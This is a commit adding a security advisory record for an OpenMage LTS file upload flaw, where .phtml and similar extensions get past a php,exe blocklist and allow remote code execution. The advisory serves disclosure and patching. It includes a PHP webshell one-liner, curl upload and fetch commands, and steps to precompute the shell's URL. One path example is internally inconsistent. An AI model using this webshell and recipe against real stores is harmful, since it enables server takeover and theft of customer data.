Skip to content

Commit cc2ab7c

Browse files
1 parent ea777bf commit cc2ab7c

File tree

1 file changed

+64
-0
lines changed

1 file changed

+64
-0
lines changed
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3j5q-7q7h-2hhv",
4+
"modified": "2026-04-21T18:53:13Z",
5+
"published": "2026-04-21T18:53:13Z",
6+
"aliases": [
7+
"CVE-2026-40488"
8+
],
9+
"summary": "OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution",
10+
"details": "The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.\n\n## Affected Version\n\n- **Project:** OpenMage/magento-lts\n- **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php`\n- **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`)\n- **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824`\n\n## Root Cause\n\nThe file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only:\n\n```xml\n<!-- Catalog/etc/config.xml:824 -->\n<forbidden_extensions>php,exe</forbidden_extensions>\n```\n\nThis misses the comprehensive `protected_extensions` blocklist defined elsewhere:\n\n```xml\n<!-- Core/etc/config.xml:449-478 -->\nphp, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, \nhtm, html, pht, phtml, shtml\n```\n\n## Vulnerable Code\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237\n$_allowed = $this->_parseExtensionsString($option->getFileExtension());\nif ($_allowed !== null) {\n $upload->addValidator('Extension', false, $_allowed);\n} else {\n $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));\n if ($_forbidden !== null) {\n $upload->addValidator('ExcludeExtension', false, $_forbidden); // Only blocks php,exe!\n }\n}\n```\n\n## Steps to Reproduce\n\n### 1. Environment Setup\n\nTarget: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)\n\n### 2. Exploitation\n\n\n```bash\n# Upload .phtml (bypasses blocklist)\ncurl -X POST \"https://target.com/vulnerable_upload.php\" \\\n -F \"file=@shell.phtml;filename=shell.phtml\"\n```\n\n**Result:** \n<img width=\"1563\" height=\"733\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691\" />\n\n### 3. Code Execution\n\nOpenMage derives the uploaded file's storage path deterministically from two values the attacker\nalready controls:\n\n**Subdirectory** — `getDispretionPath($filename)` takes the **first two characters** of the\nuploaded filename and uses them as nested directory names:\n\n```\nfilename = \"shell.phtml\" → s/ h/ → media/custom_options/quote/s/h/\n```\n\n**Filename** — `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the\nuploaded payload** (`File.php:245`):\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245\n$fileHash = md5(file_get_contents($fileInfo['tmp_name']));\n$filePath = $dispersion . DS . $fileHash . '.' . $extension;\n```\n\nBecause the attacker writes the webshell themselves, both the filename prefix and file contents are\nknown **before the upload request is sent**. The full URL can be pre-computed:\n\n```bash\nSHELL_CONTENT='<?php echo exec(\"id\"); system($_GET[\"cmd\"]??\"id\"); ?>\\n'\nHASH=$(echo -n \"$SHELL_CONTENT\" | md5sum | cut -d' ' -f1)\nPREFIX=$(echo \"shell\" | cut -c1-2 | sed 's/./&\\//g' | tr -d '\\n' | sed 's/\\/$//') # → s/h\n\n```bash\ncurl \"https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml\"\n```\n\n**Result:** RCE Confirmed\n\n<img width=\"1559\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260\" />\n\n## Affected Deployments\n\n| Configuration | Status |\n|---------------|--------|\n| Apache + mod_php (with `php_flag engine 0`) | SAFE |\n| Apache + PHP-FPM | **VULNERABLE** |\n| Nginx (reference hardened config) | SAFE |\n| Nginx (generic config with .phtml→FPM) | **VULNERABLE** |\n\n## Impact\n\n1. **Remote Code Execution:** Full server compromise through webshell upload\n2. **Data Exfiltration:** Access to database credentials, customer PII, payment data\n3. **Lateral Movement:** Pivot to internal infrastructure\n4. **Supply Chain:** Inject malicious code into served content",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "openmage/magento-lts"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "20.17.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 20.16.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-3j5q-7q7h-2hhv"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40488"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/OpenMage/magento-lts"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-434"
58+
],
59+
"severity": "HIGH",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-04-21T18:53:13Z",
62+
"nvd_published_at": "2026-04-20T17:16:36Z"
63+
}
64+
}

0 commit comments

Comments
 (0)